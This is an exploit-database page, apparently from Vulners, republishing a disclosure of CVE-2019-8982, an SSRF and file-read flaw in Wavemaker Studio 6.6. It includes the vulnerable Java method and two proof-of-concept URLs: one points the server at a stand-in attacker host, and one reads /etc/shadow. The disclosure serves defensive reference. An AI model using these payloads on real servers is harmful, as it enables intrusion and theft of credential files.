Wavemaker Studio 6.6 - Server-Side Request Forgery
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2019-8982 | 21 Feb 201914:00 | – | cve |
 | CVE-2019-8982 | 21 Feb 201914:00 | – | cvelist |
 | Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery | 8 Aug 202609:07 | – | nuclei |
 | CVE-2019-8982 | 21 Feb 201914:29 | – | nvd |
 | CVE-2019-8982 | 21 Feb 201914:29 | – | osv |
 | Design/Logic Flaw | 21 Feb 201914:29 | – | prion |
 | CVE-2019-8982 | 22 May 202505:26 | – | redhatcve |
 | VulnCheck KEV: CVE-2019-8982 | 19 Sep 202400:00 | – | vulncheck_kev |
# Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF).
# Exploit Author: Gionathan "John" Reale
# Google Dork: N/A
# Date: 2018-08-01
# Vendor Homepage: http://www.wavemaker.com/
# Software Link: https://github.com/cloudjee/wavemaker/blob/master/wavemaker/wavemaker-studio/
# Affected Version: 6.6
# Tested on: Parrot OS
# CVE : 2019-8982
# Description
# Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an
# attacker to pass dangerous content to a victim via a phishing link. The vulnerability
# can also be exploited to access sensitive data or to use the server hosting Wavemaker
# as a form of HTTP proxy among other things.
# Proof Of Concept
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=http://attackersite.com/
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=file///etc/shadow
# Vulnerable Code
# /wavemaker-studio/services/studioService/src/com/wavemaker/studio/StudioService.java
# Line 419-430
@ExposeToClient
public String getContent(String inUrl) throws IOException {
try {
String str = getRemoteContent(inUrl);
str = str.replace("<head>", "<head><base href='" + inUrl
+ "' /><base target='_blank' /><script>top.studio.startPageIFrameLoaded();</script>");
return str;
} catch (Exception e) {
return "";
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Mar 2019 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 26.8
CVSS 39.6
EPSS0.27963